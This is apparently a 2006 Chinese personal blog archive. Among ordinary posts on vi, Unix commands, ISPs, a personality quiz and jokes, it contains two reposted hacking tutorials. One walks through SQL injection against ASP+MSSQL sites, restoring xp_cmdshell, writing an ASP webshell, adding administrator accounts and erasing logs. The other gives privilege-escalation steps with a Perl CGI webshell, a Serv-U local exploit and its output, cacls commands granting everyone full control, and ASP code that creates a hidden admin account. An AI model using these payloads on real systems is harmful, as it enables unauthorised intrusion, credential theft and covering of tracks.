    它其他的一些变种就不一定有.
    例如 _宏有时就运行的有问题.

    9.0 - 术语表
    如果有人提议说某个术语他不明白,我们将更新这个术语表.如果你有什么建议,
    请一定要告诉我.

    命令模式 command mode

    命令模式是说我们在此模式下面可以向vi发命令(包括光标移动,编辑命令等等)

    ed
    UNIX里面一个非可视化的编辑器


    escape键. 键盘上标记为escape(ESC)的一个键.有时候^<可以起到相同的作用.
    如果没有escape键,你可以试试Meta键
    ex
    UNIX下的一个编辑器.所有vi中的:命令都是送给它处理的

    插入模式 insert mode
    插入模式是指我们可以在此模式下面键入文本.

    宏 macro
    宏是一些键的组合起来的快捷方式.例如,某个宏允许我们只敲一个键就可以执行
    好几个不同的命令.

    开放模式 open mode
    开始模式是说vi启动的时候不能确定你的终端类型,或者它肯定你的是一个硬的或
    电子管的终端

    正规表达式 regular expressions (RegEx)
    正规表达式,通常缩写为"RegEx",是一些关键字的集合,它允许用户在查找的时候有更大的
    控制力度. RegEx是在UNIX下面用的,但是在很多程序中也用到了它.

    sed
    流-行式的编辑器.它没有界面,所有命令都是通过命令行的形式给出的.

    vi
    就是这个FAQ讨论的编辑器
  • Unix、Linux下常用监控和管理命令工具

    2006-05-10 21:37:00

      ps:查看系统中的进程,Linux中可以使用ps -aux查看所有进程

      参数w表示加宽显示的命令行,参数w可以写多次,通常最多写3次,表示加宽3次,这足以显示很长的命令行了。例如:ps -auxwww


      top:显示系统内存、cpu使用情况,并可自动刷新进程列表


      vmstat:显示当前的内存使用情况


      netstat:显示网络状况,使用参数p可以查看对应的进程号及程序名,


      通常使用参数a(显示所有连接情况)和n(不反查域名和服务名),例如:netstat -anp。


      查看服务器侦听情况,使用:netstat -an | grep LISTEN


      查看服务器已建立的连接,使用:netstat -an | grep ESTABLISHED


      ifconfig:查看(或设置)网络设备信息


      ifconfig -a:查看所有网络设置信息


      last:显示登录到服务器的情况以及服务器重启情况


      df:显示硬盘空间及使用情况,Linux下可以带参数h,显示结果更人性化。例如:


      df -h 硬盘空间按人性化显示


      df -k 硬盘空间按KB显示


      df -m 硬盘空间按MB显示


      w:显示登录到服务器上的用户列表




      以下几个命令仅针对Linux


      lsof:显示当前打开的文件列表,包括建立的socket连接等。本命令可以用于程序员检查编写的程序打开的文件数。


      sysctl:显示(或设置)系统内核参数


      sysctl -a 显示所有内核参数


      sysctl -w 参数名=参数值


      例如:sysctl -w fs.file-max=10240 设置系统允许同时打开的最大文件数为10240。


      内核参数fs.file-nr包括三个参数值,第一个参数表示系统中曾经同时打开过的文件数峰值,


      第二个参数表示空闲(分配后已释放)的文件数,


      第三个参数表示可以打开的最大文件数,其值等于fs.file-max。


      当前打开的文件数 = 第一个参数值 - 第二个参数值



      例如:


      fs.file-nr = 977 223 10240


      当前打开的文件数 = 977 - 233 = 744


      设置内核参数时务必小心,如果设置不当会导致系统异常,甚至当机。


      ulimit:显示(或设置)用户可以使用的资源限制


      ulimit -a 显示用户可以使用的资源限制


      ulimit unlimited 不限制用户可以使用的资源,但本设置对可打开的最大文件数(max open files)


      和可同时运行的最大进程数(max user processes)无效


      ulimit -n <可以同时打开的文件数> 设置用户可以同时打开的最大文件数(max open files)


      例如:ulimit -n 8192


      如果本参数设置过小,对于并发访问量大的网站,可能会出现too many open files的错误


      ulimit -u <可以运行的最大并发进程数> 设置用户可以同时运行的最大进程数(max user processes)


      例如:ulimit -u 1024



    温馨提示:局域网查看工具(LanSee): 一款主要用于对局域网(Internet上也适用)上的各种信息进行查看的工具。
  • 盗版也得有技术含量

    2006-05-09 09:31:00

    早上一同事的电脑开机后在登陆界面的右下角出现了



    “这份windows拷贝不是正版”
    “你可能是盗版软件的受害着”

    他说他昨天刚刚使用“Windows Update”打了一些补丁,应该就是微软顺便也把反盗版的“补丁”给打下去的。

    突然联想到最近在论坛上看到相关消息,说微软劝说盗版用户去购买正版,并罗列出一大堆盗版可能带来的危害,恐吓用户。

    这年头,盗版也得有技术含量,不然我们就都给微软打工了。
  • 英文版的数字家园

    2006-04-28 00:45:00

  • 国内主流双线路ISP测试

    2006-04-26 15:18:00

    1.北京电信通:
    侧重网通线路,北京所有网吧都得用他们的接入,还有4、5星的宾馆也都是用他们的接入,背景较强。电信线路一般,好的时候是50MS左右,差的时候大概150MS。

    2.世纪互连:
    上海世纪互连侧重电信线路,网通线路比较差。
    北京世纪互连侧重网通线路,电信线路较差,跟上海互补。

    3.263网络:
    电信和网通都是基本一样,不慢也不很快,都是在40MS左右,网通线路是通过一家叫“中国国家机械进出口公司”拿的网通带宽,电信线路直接接北京电信的线路。


    温馨提示:LeapFTP: 功能强大的FTP软件,跟Netscape相仿的书签形式,连线更加方便。下载与上传文件支持续传。
  • 060423天河公园BBQ

    2006-04-25 11:15:00


    铁板羊肉,我的杰作


    第一份已经干光了,这次是第二份


    大杂烩


    黄家两父女


    技术部五壮士


    这张就不说了


    天真的BB,将来是个PLMM,大家排队啊,来我这报名


    我踢,看我的脚丫多漂亮


    我也来show下大腿
  • 当SA遇到XP_CMDSHELL时

    2006-04-24 11:06:00

    作者: 一道江河

    有时候在入侵的时候总是碰到先烦恼的问题,比如SA遇到xp_cmdshell时,如果管理员把xp_cmdshell删了

    怎么办呢?总是眼看着肉鸡跑了吧!今天我就对XP_CMDSHELL做一先解释,希望大家能看明白,能看懂

    众所周知,在MSSQL中,通过XP_cmdshell存储扩展,拥护具有sysadmin权限,用来执行系统任意命令

    但是那先网管也不是吃素的,都回把它删除,所以在SQL Injection攻击中,获得xp_cmdshell的执行权限

    才是最终的目标,在MSSQL中一共有8中权限分别是 sysadmin dbcreator diskadmin processadmin
    serveradmin setupadmin securityadmin bulkadmin 这8种 每一个都具有不同的权限,大家都因该可

    以知道其中的sysadmin权限是最高的,也是我们想要的。。。

    大家都知道在MSSQL中,SA的权限是至高无上的了,但是有时获得了个SA 却无法执行命令是,是不是很郁

    闷了呢?获得了个SA一般我们都用SQLTOOLS.EXE连接吧!一个比较好的工具,我也喜欢,呵呵!首先还是

    让我们看看吧!用SQLTOOLS.EXE连上后看看它的XP_cmdshell存储扩展是不是被删了,在"利用目录"菜单

    中打开"执行数据库命令" 填入我们要执行的命令:

    select count(*) from master.dbo.sysobjects where xtype=‘X‘ and name=‘xp_cmdshell‘

    如果返回结果是1的话,说明它没有删除这个扩展存储过程,我们可以执行DOS命令了,如果不行呢?

    接着看,还有办法,我们直接在数据库命令执行窗写入:

    Exec master.dbo.addextendedproc ‘xp_cmdshell‘, ‘xplog70.dll‘; select count(*) from

    master.dbo.sysobjects where xtype=‘X‘ and name=‘xp_cmdshell‘

    上面的意思就是恢复默认的存储过程,如果返回1的话说明恢复成功,不然就是存储扩展被删除了,需要我

    们给它上传个xplog70.dll用SQLTOOLS.EXE自带的文件上传功能可以轻松实现了,把xplog70.dll文件传到

    对方的c:/winnt/system32下,(不行的话,需传到对方的MSSQL目录里)在执行数据库命令:

    Exec master.dbo.addextendedproc ‘xp_cmdshell‘, ‘c:/winnt/system32/xplog70.dll‘

    好了,接下来就是我们常用的命令 net user 和 net localgroup administrators

    命令了,还有清楚IIS日记和MSSQL日记就OK了!

    上面的方法是可以了但我们还可以饶过xp_cmdshell ,来执行系统命令,大家知道在MSSQL中可以通过两个

    存储扩展来创建activex自动脚本,呵呵,大家想到了吧!是xp_oacreate和sp_oamethod 通过它们执行系

    统命令的语句我们可以自己给他加上哦,代码如下:


    declare @o int

    exec sp_oacreate ‘wscript.shell‘, @o out

    exec sp_oamethod @o, ‘run‘, NULL, ‘net start telnet‘

    上面那段代码的意思就是通过服务器上的 wscript.shel 来执行net start telnet 开启服务器的telnet

    接下来呢就是通过FSO对服务器进行文件管理或者直接创建文件并写入数据,呵呵,可以直接写一个WEBSHE

    LL到服务器上去哦!!!HOHO~~~~

    declare @o int, @f int, @ret int

    exec sp_oacreate ‘scripting.filesystemobject‘, @o out

    exec sp_oamethod @o, ‘creatextifile‘, @f out, ‘c:/inetpub/wwwroot/mad.asp‘, 1

    exec @ ret = sp_oamethod @f, ‘writeline‘, NULL, ‘<% set o =

    server.createobject("wscript.shell": o.run("cmd.exe /c "&request.querystring("cmd") %>

    上面的代码就在服务器c:/inetpub/wwwroot/mad.asp上创建了了只有两行的代码我们直接连上去就OK了

    大家不防试试吧。下面我还是对大家入侵时做一先解释吧,希望大家能看明白,

    举个例子现在咱们要入侵的网站是这个 www.***.com

    第一还是踩点,找到入口,现在注入这么流行,还是注入吧,因为一般网站都是ASP+MSSQL结构来架设的假

    如这个。www.***.com/script.asp?id=48

    还是一样用, ; and 1=1 and 1=2判断一下,确定可以注入后,我们就可以利用这个漏洞拿到服务器和

    数据库的一些相关信息。想看服务器打的补丁情况,我们提交:

    www.***.com/script.asp?id=48 and 1=(select @@VERSION)

    我想现在大部分服务器都打上SP4补丁了。我们看看其它的,看看他的数据库连接账号的权限,提交:

    www.***.com/script.asp?id=48 and 1=(select IS_SRVROLEMEMBER(‘sysadmin‘))

    如果返回正常,这证明当前连接的账号是服务器角色sysadmin权限了,看来连接账号多半是采用SA账号连

    接的了,自己有好做的了,还是试一下。万一猜错了呢?提交:

    www.***.com/script.asp?id=48 and ‘sa‘=(select System_user)

    用来查看连接账号是不是用sa 连接的,如果IE返回正常。这证明了连接账号真的是SA,看来权限是高了哦

    (如果要获得已登录用户的身份,则使用Transact-SQL 语句:select SYSTEM_USER)

    下面我们就利用MSSQL存储过程,得到WebShell,首先还是看看xp_cmdshell是否被管理员删除了 提交:

    www.***.com/script.asp?id=48 and 1=(select count(*) FROM master.dbo.sysobjects where xtype =

    ‘X‘ AND name = ‘xp_cmdshell‘)

    如果被删除了,NO PROBLEM 我们给他恢复一下。提交:

    www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell‘,‘xplog70.dll‘

    试一下 看看xp_cmdshell是不是恢复过来了 提交:

    www.***.com/script.asp?id=48 and 1=(select count(*) FROM master.dbo.sysobjects where xtype =

    ‘X‘ AND name = ‘xp_cmdshell‘)

    如果没有返回内容。这证明,管理员把xplog70.dll这个动态链接库给改名了。要不给删除了。现在大家可

    以用上面的方法试试了,到这里有耐心的话还可以继续啊。可以用CZY提到的方法试试。

    不过还用到两个MSSQL存储过程

    xp_regread 扩展存储过程和xp_regread Web 助手存储过程:

    xp_regread是用来读取注册表信息的,我们通过这个存储过程来得到保存在注册表中Web绝对路径

    sp_makewebtask在我们这里是用来得到WebShell的,其主要功能就是导出数据库中表的记录为文件,文件

    名你可以自己指定。当然我们这里就指定为ASP脚本文件

    CZY的文章已经写得很详细了。所以,我这里就只简单的提一下吧! 先创建一个表,建一字段,然后向这个

    字段中加入木马的内容。然后,把内容通过xp_makewebtask存储过程导出成ASP脚本保存在Web绝对路径中

    再次删除建的临时表 不知道的可要到网上找找哦!

    不过还是先看看这两个存储过程是不是被删了。。提交:

    www.***.com/script.asp?id=48 and 1=(select count(*) FROM master.dbo.sysobjects where name=

    ‘xp_regread‘)

    www.***.com/script.asp?id=48 and 1=(select count(*) FROM master.dbo.sysobjects where name=

    ‘sp_makewebtask‘)

    如果两个都返回正常的话,说明两个存储过程都没有删除 :

    (大家都知道MS的东西很多都放在注册表中的,Web位置我们可以在注册表中得到,位置如下:

    HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots

    利用扩展存储过程xp_regread我们可以取得它的值.

    EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE‘,

    ‘SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots‘, ‘/‘

    这样,就取出来了,但问题又来了,取是取出来了,我们怎么在IE中返回它的值呢?首先:先创建

    一个临时表,表中加一字段,类型为:char 255。呵呵,用它来保存Web绝对路径的值。表建好后,我们就

    用读取注册表的方法,把返回的值保存在一变量中。然后向新建的表中加入记录(即变量的值)。这样,

    路径就写入到了表中。提交:

    DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE‘,

    ‘SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots‘, ‘/‘, @result output insert

    into 临时表 (临时字段名) values(@result);--

    然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1) )

    我们用CZY的方法继续提交:

    www.***.com/script.asp?id=48;create table . ((255));

    这样我们就成功地建了一个名为ABCD的表,并且添加了类型是char,长度为255的字段名DACB。然后向表中

    加数据:

    www.***.com/script.asp?id=48;create @result varchar(255) EXEC master.dbo.xp_regread

    ‘HKEY_LOCAL_MACHINE‘,‘SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots‘, ‘/‘,

    @result output insert into cyfd (DACB) values(@result);--

    继续提交从注册表中读出Web绝对路径,再把路径插入到刚建的表中。然后报出WebShell的绝对路径

    www.***.com/script.asp?id=48 and 1=(select count(*) from cyfd where gyfd > 1)

    IE返回错误,我们得到Web绝对路径 例如:e:/Inetpub/wwwroot

    还要删除刚才建的表 提交:

    www.***.com/script.asp?id=48;drop table cyfd;--

    接下来就好办多了,路径都知道了。得到WEBSHELL因该没问题了吧,得到WEBSHELL后,通过WEBSHELL上传

    xplog70.dll传到E:/inetpub/wwwroot目录下 我们给他恢复下。提交:

    www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell‘,

    ‘e:/inetpub/wwwroot/xplog70.dll‘

    (恢复,支持绝对路径的恢复!)

    用IE来查看一下是不是已经恢复了。提交:

    www.***.com/script.asp?id=48 and 1=(select count(*) FROM master.dbo.sysobjects where xtype =

    ‘X‘ AND name = ‘xp_cmdshell‘)

    如IE返回正常。说明已经恢复了!下面就建用户吧。。。。

    www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell ‘net user abcd 123456 /add‘

    提升管理员

    www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell ‘net localgroup administrators abcd
    /add‘

    好了到了这里就OK了。。如果对方有终端的话,就连接吧。,还有清除IIS日志,和MSSQL日志 闪人!~

    还有一点就是把xp_cmdshell也给他删除掉,不要让网管发现了。HOHO~~~~


    温馨提示:Virtual Magnifying Glass: 免费的屏幕放大镜软件,简单易用可定制,支持动态屏幕显示。
  • 提升权限终极技巧

    2006-04-24 11:05:00

    提升权限终极技巧
    作者:WekweN http://www.wrsky.com

    本篇文章结合了许多高手提升权限的技巧和自己的一些想法

    当我们取得一个webshell时候,下一部要做的就是提升权限

    个人总结如下:
    1: C:/Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/
    看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆
    ps: 破解工具本站已提供。请自己Search一下!

    2.C:/WINNT/system32/config/
    进这里下它的SAM,破解用户的密码
    用到破解sam密码的软件有LC,SAMinside

    3.C:/Documents and Settings/All Users/「开始」菜单/程序/
    看这里能跳转不,我们从这里可以获取好多有用的信息
    可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转
    进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空

    Password=
    HomeDir=c:/
    TimeOut=600
    Maintenance=System
    Access1=C:/|RWAMELCDP
    Access1=d:/|RWAMELCDP
    Access1=f:/|RWAMELCDP
    SKEYValues=
    这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限


    4.c:/winnt/system32/inetsrv/data/
    就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行

    5.看能否跳转到如下目录
    c:/php, 用phpspy
    c:/prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell
    #!/usr/bin/perl
    binmode(STDOUT);
    syswrite(STDOUT, "Content-type: text/html/r/n/r/n", 27);
    $_ = $ENV{QUERY_STRING};
    s/%20/ /ig;
    s/%2f////ig;
    $execthis = $_;
    syswrite(STDOUT, "
    /r/n", 13);
    open(STDERR, ">&STDOUT") || die "Can‘t redirect STDERR";
    system($execthis);
    syswrite(STDOUT, "/r/n
    /r/n", 17);
    close(STDERR);
    close(STDOUT);
    exit;
    保存为cgi执行,
    如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir
    显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录
    http://anyhost//cmd.pl?c/perl/bin/su.exe
    返回:
    Serv-u >3.x Local Exploit by xiaolu

    USAGE: serv-u.exe "command"

    Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
    现在是 IUSR 权限,提交:
    http://anyhost//cmd.pl?c/perl/bin/su.exe "cacls.exe c: /E /T /G everyone:F"
    http://anyhost//cmd.pl?c/perl/bin/su.exe "cacls.exe d: /E /T /G everyone:F"
    http://anyhost//cmd.pl?c/perl/bin/su.exe "cacls.exe e: /E /T /G everyone:F"
    http://anyhost//cmd.pl?c/perl/bin/su.exe "cacls.exe f: /E /T /G everyone:F"
    如果返回下面的信息,就表示成功了
    Serv-u >3.x Local Exploit by xiaolu

    <220 Serv-U FTP Server v5.2 for WinSock ready...

    >USER LocalAdministrator

    <331 User name okay, need password.

    ******************************************************

    >PASS #l@$ak#.lk;0@P

    <230 User logged in, proceed.

    ******************************************************

    >SITE MAINTENANCE

    ******************************************************

    <+> Creating New Domain...

    <200-DomainID=2

    <220 Domain settings saved

    ******************************************************

    <+> Domain xl:2 created

    <+> Creating Evil User

    <200-User=xl

    200 User settings saved

    ******************************************************

    <+> Now Exploiting...

    >USER xl

    <331 User name okay, need password.

    ******************************************************

    >PASS 111111

    <230 User logged in, proceed.

    ******************************************************

    <+> Now Executing: cacls.exe c: /E /T /G everyone:F

    <220 Domain deleted
    这样所有分区为everyone完全控制
    现在我们把自己的用户提升为管理员:

    http://anyhost//cmd.pl?c/perl/bin/su.exe " net localgroup administrators IUSR_anyhost /add"


    6.可以成功运行"cscript C:/Inetpub/AdminScripts/adsutil.vbs get w3svc/inprocessisapiapps"来提升权限
    用这个cscript C:/Inetpub/AdminScripts/adsutil.vbs get w3svc/inprocessisapiapps
    查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
    再将asp.dll加入特权一族
    asp.dll是放在c:/winnt/system32/inetsrv/asp.dll (不同的机子放的位置不一定一样)
    我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:/WINNT/system32/idq.dll" "C:/WINNT/system32/inetsrv/httpext.dll" "C:/WINNT/system32/inetsrv/httpodbc.dll" "C:/WINNT/system32/inetsrv/ssinc.dll" "C:/WINNT/system32/msw3prt.dll""c:/winnt/system32/inetsrv/asp.dll"
    可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了

    7.还可以用这段代码试提升,好象效果不明显
    <%@codepage=936%><%Response.Expires=0
    on error resume next
    Session.TimeOut=50
    Server.ScriptTimeout=3000
    set lp=Server.createObject("WSCRIPT.NETWORK")
    oz="WinNT://"&lp.ComputerName
    Set ob=GetObject(oz)
    Set oe=GetObject(oz&"/Administrators,group")
    Set od=ob.create("user","WekweN$")
    od.SetPassword "WekweN" <-----密码
    od.SetInfo
    Set of=GetObject(oz&"/WekweN$,user")
    oe.Add(of.ADsPath)
    Response.write "WekweN$ 超级帐号建立成功!"%>


    用这段代码检查是否提升成功
    <%@codepage=936%>
    <%Response.Expires=0
    on error resume next ‘查找Administrators组帐号
    Set tN=server.createObject("Wscript.Network")
    Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")
    For Each admin in objGroup.Members
    Response.write admin.Name&"
    "
    Next
    if err then
    Response.write "不行啊:Wscript.Network"
    end if
    %>

    8.C:/Program Files/Java Web Start/
    这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。

    9.最后了,如果主机设置很变态,可以试下在c:/Documents and Settings/All Users/「开始」菜单/程序/启动"写入bat,vbs等木马。

    等到主机重启或者你ddos逼它重启,来达到权限提升的目的。


    温馨提示:MiniQQ: 一个超级小的QQ客户端,他采用命令行方式工作,字符界面+声音带来的效果的确非常Cool,用它就可以和自己QQ上的好友交流。
  • 用mrtg监测win2003流量

    2006-04-20 18:03:00

    纪增雄
    http://www.cnlinux.net

    win2k3:
    1.安装简单管理协议(snmp)
    2.管理工具--服务--SNMP Service属性--安全,接受团体名称,添加一个团体名称(如public),指定其只能只读权限
    3.接受来自这些主机的SNMP数据包,添加,填入你要使用mrtg监测的服务器IP
    4.如果你有防火墙的话开通udp协议的161端口给你要使用mrtg监测的服务器
    5.重起snmp service即可



    linux:
    1.生成cfg文件
    #cfgmaker public@192.168.1.2 > /etc/mrtg/mrtg.cfg

    2.编辑cfg文件
    #vi /etc/mrtg/mrtg.cfg
    加入:
    WorkDir: /var/www/html/mrtg (设置生成文件的目录)
    Language: chinese (设置编码)
    Options<_>:growright,bits (设置图向右方向,单位是bits)

    3.生成流量图
    #mrtg /etc/mrtg/mrtg.cfg (开始使用需要连续执行三次才行)

    4.生成index页面
    #indexmaker /etc/mrtg/mrtg.cfg > /var/www/html/mrtg/index.html


    温馨提示:Windows Media Player Classic: 拥有更强大的Filter控制功能:支持XP界面主题;在加入解码Filter的情况下可以播放DVD;即使不安装VOBSUB也可以播放某些字幕;可以加挂播放外部的音频文件;改变播放速度等等。
  • 菲尔测试题得分标准

    2006-04-20 14:25:00

    二、 菲尔测试题得分标准
    经过上述十项测试后,再将所有分数相加:
    1、A2 B4 C6
    2、A6 B4 C7 D2 E1
    3、A4 B2 C5 D7 E6
    4、A4 B6 C2 D1
    5、A6 B4 C3 D5
    6、A6 B4 C2
    7、A6 B2 C4
    8、A6 B7 C5 D4 E3 F2 G1
    9、A7 B6 C4 D2 E1
    10、A4 B2 C3 D5 E6 F1

    低于21分:内向的悲观者
    你是一个害羞的、神经质的、优柔寡断的人,永远要别人为你做决定。你是一个杞人忧天者,有些人认为你令人乏味,只有那些深知你的人知道你不是这样。

    21分到30分:缺乏信心的挑剔者
    你勤勉、刻苦、挑剔,是一个谨慎小心的人。如果你做任何冲动的事或无准备的事,朋友们都会大吃一惊。

    31分到40分:以牙还牙的自我保护者
    你是一个明智、谨慎、注重实效的人,也是一个伶俐、有天赋、有才干且歉虚的人。你不容易很快和人成为朋友,却是一个对朋友非常忠诚的人,同时要求朋友对你也忠诚。要动摇你对朋友的信任很难,同样,一旦这种信任被破坏,也就很难恢复。

    41分到50分:平衡的中道者
    你是一个有活力、有魅力、讲究实际,而且永远有趣的人。你经常是群众注意力的焦点,但你是一足够平衡的人,不至于因此而昏了头。你亲切、和蔼、体贴、宽容,是一个永远会使人高兴、乐于助人的人。

    51分到60分:吸引人的冒险家
    你是一个令人兴奋、活泼、易冲动的人,是一个天生的领袖,能够迅速做了决定,虽然你的决定不总是对的。你是一个愿意尝试机会、欣赏冒险的人,周围人喜欢跟你在一起。

    60分以上:傲慢的孤独者
    你是自负的自我中心主义者,是个有极端支配欲、统治欲的人。别人可能钦佩你,但不会永远相信你


    温馨提示:MultiRes: 快速切换屏幕分辨率、刷新率和颜色数。
  • 菲尔人格的十项测试题

    2006-04-20 14:23:00

    这个测试是菲尔博士在著名主持人欧普拉的节目里做的,国际上称为“菲尔人格测试”,这已经成为很多大公司人事部门实际用人的“试金石”。

    题目如下:
    一、 菲尔人格的十项测试题

    1、你何时感觉最好?
    A早晨 B下午及傍晚 C夜里

    2、你走路时是
    A大步地快走 B小步地快走 C不快,仰着头面对着世界 D不快,低着头 E很慢

    3、和人说话时,你……
    A手臂交叠站着 B双手紧握着 C一只手或两手放在臀部 D碰着或推着与你说话的人 E玩着你的耳朵、摸着你的下巴或用手整理头发

    4、坐着休息时,你的……
    A两膝盖并拢 B两腿交叉 C两腿伸直 D一腿蜷在身下

    5、碰到你感到发笑的事时,你的反应是……
    A一个欣赏的大笑 B笑着,但不大声 C轻声地咯咯地笑 D羞怯的微笑

    6、当你去一个派对或社交场合时,你……
    A很大声地入场以引起注意 B安静地入场,找你认识的人 C非常安静地入场,尽量保持不被注意

    7、当你非常专心工作时,有人打断你,你会……
    A欢迎他 B感到非常恼怒 C在上述两极端之间

    8、下列颜色中,你最喜欢哪一种颜色?
    A红或橘色 B黑色 C黄色或浅蓝色 D绿色 E深蓝色或紫色 F白色 G棕色或灰色

    9、临入睡的前几分钟,你在床上的姿势是……
    A仰躺,伸直 B俯躺,伸直 C侧躺,微蜷 D头睡在一手臂上 E被子盖过头

    10、你经常梦到自己在……
    A落下 B打架或挣扎 C找东西或人 D飞或漂浮 E你平常不做梦 F你的梦都是愉快的


    温馨提示:MyUninstaller: 超迷你软件清除程序,很难让人想象居然100K以下的容量,能够作出这么低耗能的软件清除程序,还有一些同类程序所没有的功能:显示程序安装日期、显示软件公司首页网址、程序安装路径、将资料存成TXT/HTM文件。
  • 售楼小姐“真情自白” 卖房二十大骗局曝光

    2006-04-19 22:36:00

      1、大家购房所付的保险费其实是可以打八五折的,不要在售楼处买保单,外面的保险公司都可以为你打折。


      2、现在高价房根本不用首付三成,但是你不要去找大银行,找像民生、浦发等小行,你完全可以办成8成贷款,四大银行每年都要被央行来查,所以他们很少违规,但小银行却可以不受限制。



      3、开盘绝对没有好房子,好的房子全部被保留,然后每个月推出几套,但单价升得很快,要么就是你有关系,我们才给你好的房子。


      4、广告没有一个是真的,千万别相信其中的外立面颜色,很多造出来比画的难看多了。


      5、售楼员会用许多方法来逼你买房(业内叫SP),让你无时无刻感到紧张,这时你千万要冷静。要自己看中才买。


      6、别以为高层中的九到十一楼不错,那你大错了,这些楼层正好是扬灰层,脏空气到这个高度就会停顿,我们是不会告诉你们的。


      7、别对景观抱太大希望,树和草是在交房前一个月从外地买来直接插土进去的,所以能多多存活就不错了。


      8、别以为面砖的外墙是好的,其实面砖漏水比涂料漏水的几率大多了,在国外都是用的高级涂料,没人用面砖当外墙。


      9、别以为实测面积是对的,其实测绘局都被我们买通的,少你一个平米你也看不出来,但是国家就只承认他的测绘报告。


      10、得房率,绿化率,容积率大多都是与实际不相符的,千万别相信我们,我们只是听工程部随便说说的,能对八成就不错了。


      11、漏水和外立面的材料根本没关系,你们要关心的是桩有多深,因为新房漏水大多是因为房屋沉降过大,造成外墙裂缝才漏水的。(上海最适合打桩的是地下33-35米,这部分土特别好)


      12、不要再相信任何奖项,我们公司买到的最大的一个奖是全国人居经典奖,是在人民大会堂发的奖状,你说大不大?五万一个嘛!


      13、开盘的时候售楼处会有许多四五十岁的人在模型边上说这个房子好,千万别信,这些人大多是公司的领导来捧场的。


        14、注意,有人代理公司来代理的楼盘他们通常花样最多,比如排队买号等,但是开房商直接销售就不会搞很多花头,那是因为代理商想赚开发商更多的代理费。


      15、为何上海的所有凸窗看上去很大,但是能通风的只有很小一扇,我们说是为了安全,其实是整个上海的开发商都是为了省钱而内部统一那么做的。


      16、如果报纸广告上的哪个楼盘单独印了一个房型,那你千万不要去买这个房型,不是买不掉的就是位置有问题,我们叫最后冲刺,你想啊,他干嘛不印其他的呢?


      17、到售楼处后直接问售楼员看一样叫销控的本子,这样你才可以确切的知道哪些房子是真的没了,哪些房子还在,这本东西特别准,只有少数楼盘会做一份假的。


      18、一个好的施工单位关键是看他的工地是否干净,建材堆放是否井井有条(建工,住总做的特别好)


      19、不要相信物业管理会是广告上的外资单位来管理,通常只买他们的一个名字,然后叫物业顾问,这些外资物业公司通常只为单价在一万以上的楼盘来服务,别的其实都由本地公司来管理。


      20、不要相信建筑设计是什么美国或加拿大的公司,这也是假的,国家规定外资设计单位不能单独参与一个楼盘的建筑设计,而必须是是外加一个国内设计公司来共同设计,但是真正做出房型的就是国内公司,弄个外国名字只是满足你们的崇洋媚外的心理。


    温馨提示:nPOP: 免费小巧的邮件检查、查看和过滤软件。
  • 今天心情格外靓仔

    2006-04-18 09:28:00

    早上睡过头了,出来小区那里搭813,谁知道人太多了,挤不上,看到旁边有一摩的经过,于是想坐摩的到民族学院那里再转别的车上班。谁知道一到中山大道,看不到后面车龙的龙尾,也看不到前面的龙头,赶紧跟摩的佬说直接到岗顶,他就就地起价,说要10块,没办法看见这种形势只能妥协。继续走,一路见到塞车,路边全是等车的。到了上社牌坊才见到由于几辆车在拐进上社的时候互相争先走,结果谁也不让,就所有车都堵死在那里了。导致后面排了一两公里的车。

    过了那个路口,前面一路狂飚到岗顶,一看表,才8点半,去吃早餐先,到了早餐店,竟然没什么人的,平时都是要排队,那个师傅说怎么今天生意突然变差了,在那里郁闷着,哈哈。

    来到公司,还很早,没几个同事到而已,


    温馨提示:ONES Optical New Edge Storage: 一款与众不同的DVD/CD刻录工具,可刻录DVD Video, DVD ROM, Audio CD, CD Rom, CD Extra, Video CD等
  • 调侃:老公是用来欺负的……

    2006-04-12 22:44:00

      关于讲理

      老公:你不讲理。
      老婆:和你我从来就没讲过理,家就不是讲理的地方。再说你是男的,还比我大8个月呢,你就得让着我。
         
      关于钱

      老公:以后我挣的钱,按比例给你吧,我挣的多时留得也多一点,这样我较会有积极性。
      老婆:好。
      老公:那我给你百分之多少?
      老婆:百分之一百二。

      关于主意

      老婆:咱们出去玩吧。
      老公:好,你说去哪就去哪。
      老婆:我要有主意还和你说!
      老公:我出的主意你从来都不同意呀。
      老婆:我不同意的那叫什么主意啊,那叫敷衍!你得不停的有主意,直到我满意为止。

      关于中心

      老婆:我在我们家一直是中心,在你们家也得以我为中心。
      老公:那我在我们家也一直是中心。
      老婆:可我这中心比你那中心重要。
      老公:为什么?
      老婆:因为我是千金,你只是个小子。

      关于心情

      老婆:我一干活心情就不好了,会降低咱们的婚姻质量的。
      老公:我干活心情也会不好啊。
      老婆:不行,你得心里承受能力比我强。因为你个子比我大,心脏也比我大!
      
      关于买衣服

      老婆:这衣服好看吗?
      老公:好看。
      老婆:你就敷衍我,想让我赶快买完了赶快回家……
